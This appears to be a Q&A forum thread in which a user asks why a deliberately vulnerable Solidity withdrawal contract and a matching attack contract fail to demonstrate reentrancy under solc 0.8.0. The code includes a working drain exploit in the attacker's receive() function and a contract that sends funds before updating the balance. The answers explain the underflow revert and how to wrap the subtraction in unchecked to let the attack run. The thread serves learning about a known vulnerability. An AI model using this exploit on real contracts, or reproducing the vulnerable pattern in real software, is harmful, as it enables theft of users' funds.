1

I'm trying to reproduce the reentrancy bug with solc 0.8.0:

I have two contracts,

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Reentrancy {
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        require(_weiToWithdraw <= withdrawalLimit);
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        (bool success, ) = (msg.sender.call{value: _weiToWithdraw}(""));
        require(success);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }
}

And the other one to attack the vulnerable contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Reentrancy.sol";

contract AttackReentrancy {
    Reentrancy public reentrancy;

    constructor(address _reentrancyAddress) {
        reentrancy = Reentrancy(_reentrancyAddress);
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        reentrancy.depositFunds{value: 1 ether}();
        reentrancy.withdrawFunds(1 ether);
    }

    function collectEther() public {
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {
        if (address(reentrancy).balance > 1 ether) {
            reentrancy.withdrawFunds(1 ether);
        }
    }
}

But when I invoke it with truffle it just throws exception on reentrancy.withdrawFunds(1 ether);, and I got Error: Returned error: VM Exception while processing transaction: revert

So, is there any built-in protection enabled in the sol compiler?

2 Answers 2

2

The reason your reentrancy keeps failing is this line: balances[msg.sender] -= _weiToWithdraw;

After 0.8.0 the compiler automatically checks for under- and over-flow errors and throws in case that happens. Since balances is a map of address to uint, there are no values under 0 and after trying to withdraw more than you have on balance, the contract will try to decrease the amount in balances under the 0, causing the underflow and throwing an error, reverting all the changes.

You can use unchecked{balances[msg.sender] -= _weiToWithdraw;} to see if that fixes it.

0

There is no compiler protection against reentrancy, since reentrancy is a runtime bug.

I suggest adding revert messages to your require to help identify what exactly is failing. You can even use hardhat's console.log library to do printf debugging.

2
  • Thanks ori, but there's no revert() in my code, please see the contract in the question body.
    – daisy
    Jan 20 at 6:10
  • ori means adding a message to your require statements so when they fail the revert will also provide a message: require(a == b, "A is not equal to b!"); Jan 20 at 6:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.